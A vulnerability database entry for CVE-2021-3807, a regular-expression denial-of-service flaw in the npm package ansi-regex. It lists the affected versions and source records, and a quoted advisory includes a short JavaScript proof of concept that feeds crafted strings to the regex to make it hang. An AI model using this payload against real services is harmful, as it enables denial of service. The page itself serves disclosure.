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CVE-2021-3807 High

CVE-2021-3807

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

Exploit probability 3.6%
Published September 17, 2021
Required by Not available
Last source change August 7, 2026

02 / AFFECTED SOFTWARE

Affected packages

npm ansi-regex
Unknown Unknown

7 explicit affected versions

03 / CONNECTIONS

Connected vulnerabilities

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2021-3807

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

View original source
Open Source Vulnerabilities GHSA-93q8-gq69-wqmw

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

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05 / REFERENCES

Further evidence